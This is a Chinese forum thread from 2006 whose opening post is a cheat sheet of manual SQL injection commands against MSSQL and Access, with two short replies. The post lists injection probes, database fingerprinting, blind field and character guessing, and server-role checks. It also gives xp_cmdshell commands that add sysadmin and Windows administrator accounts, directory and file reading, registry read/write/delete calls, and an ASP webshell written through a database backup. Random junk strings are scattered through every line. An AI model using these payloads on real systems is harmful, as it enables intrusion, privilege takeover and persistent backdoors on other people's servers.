社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5254阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 9g %1^$R  
  2.初步判断是否是mssql ;and user>0 *4]u?R  
KZ8Hp=s  
  3.注入参数是字符'and [查询条件] and ''=' 3<Qe'd ^  
%t&   
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' k@[\ C`P  
tOUpK20q.@  
  5.判断数据库系统 T!-*;yu  
+qN}oyL  
  ;and (select count(*) from sysobjects)>0 mssql j1[Ng #.  
T22 4L.?  
  ;and (select count(*) from msysobjects)>0 access MR")  
rw:z|-r  
B49: R >  
6-"@j@l5<  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 Vr/UY79  
'mwgHo<u  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Q,pnh!.-c  
"==fWf  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 v)+E!"R3.  
jh7-Fl`  
  9.(1)猜字段的ascii值(access) + Cf"rN  
B{}<DP.  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 1f 3c3PJ  
[)efh9P*  
  (2)猜字段的ascii值(mssql) EKQ\MC1  
q!L@9&KAQ  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 hJ~Na\?w  
&m{SWV+   
  10.测试权限结构(mssql) tVI6GXH  
R1sWhB99  
> nHaMj  
sd5%Szx  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ??Lda='  
E;`@S  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 7'IcgTWDZy  
=()Vrk|uK  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- D*T*of G  
E`0mn7.t  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- gc<w nm|  
c{"=p8F_  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- HB|R1<t;HB  
io&FW!J.  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- JxP&znng  
fBj-R~;0  
  ;and 1=(select IS_MEMBER('db_owner'));-- %P8*Az&]T  
+ *xi&|%  
 =1MVF  
e]9Z]a2  
  11.添加mssql和系统的帐户 LyRbD$m  
"O}u2B b  
  ;exec master.dbo.sp_addlogin username;-- qV$\E=%fhM  
  ;exec master.dbo.sp_password null,username,password;-- K*!qt(D&  
`;~A  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ?hC,49  
{>v5~G  
  ;exec master.dbo.xp_cmdshell 'net user username password nrEG4X9  
e=ITAH3b  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- gZf8/Tp\z  
s(.H"_ a  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- @PL.7FM<v  
M)qb6aD0  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- W(#u^,$e[  
}Fq~!D Ee  
f (Su  
Xp67l!{v  
  12.(1)遍历目录 >TQNrS^$J  
\rpXG9  
  ;create table dirs(paths varchar(100), id int) ;2y4^  
=&K8~   
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' aP ToP.e  
c0ue[tb  
  ;and (select top 1 paths from dirs)>0 <q`'[1Y4  
d ug^oc1  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 5+DId7d'n  
m7#v2:OD+  
e,K.bgi  
Q8H+=L:  
  (2)遍历目录 /R(]hmW  
#c%F pR4  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- v ^R:XdH  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 f1$'av  
<9dfbI)  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 [4 v1 N  
yM2}J s C  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 w}qLI4  
_LSp \{Z  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 1w!O&kn  
C0gY  
agGgj>DDd  
c5em*qCw$  
  13.mssql中的存储过程 |Vo{ {)  
71+ bn  
  xp_regenumvalues 注册表根键, 子键 |!q,J  
elGwS\sw  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 mHyT1e  
>bFrJz}  
  xp_regread 根键,子键,键值名 9;7|MPbR  
(V x2*Aw]  
  ;exec xp_regread OLZs}N+;]  
Gk']Ma2J}  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 "wR1=&gk  
8l l}"  
  xp_regwrite 根键,子键, 值名, 值类型, 值 =5;tB  
=E w<s5C@  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Qv W vS9]  
Q?2Gw N  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 8-"D.b4  
HcQ)XJPK  
  xp_regdeletevalue 根键,子键,值名 QJy1j~9x  
K>vi9,4/ks  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 $%6.lQ  
JJHO E{%  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 9Ca }+  
b_vKP  
(M2hK[  
M?_7*o]!  
  14.mssql的backup创建webshell 7n)ob![\d  
%-KgR  
  use model w `nm}4M  
T'ei>]y]  
  create table cmd(str image); &n'@L9v81  
IhHKRb[  
  insert into cmd(str) values (''); RT. %\)))  
Alk+MwjR  
  backup database model to disk='c:\l.asp'; @u @,Edh  
u]*f^/6Q  
l@0${&n  
O2:1aG  
  15.mssql内置函数 %i) 0sE T  
tIT/HG_o  
  ;and (select @@version)>0 获得Windows的版本号 d=0{vsrB  
,R\ex =c  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa N*f ]NCSi  
-asjBSo*D  
  ;and (select user_name())>0 爆当前系统的连接用户 25j?0P"&  
d%K&  
  ;and (select db_name())>0 得到当前连接的数据库 V-(*{/^"  
 (l-l Y  
ZPG~@lU  
7_R[ =t  
  16.简洁的webshell ?3%r:g4  
OFxCV`>ce  
  use model j>?`N^  
PLJDRp 2o  
  create table cmd(str image); ..R JHa6B  
q`3HHq  
  insert into cmd(str) values (''); eH V#Mey[  
UX'q64F!  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
枫
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
描述
快速回复

您目前还是游客,请 登录 或 注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五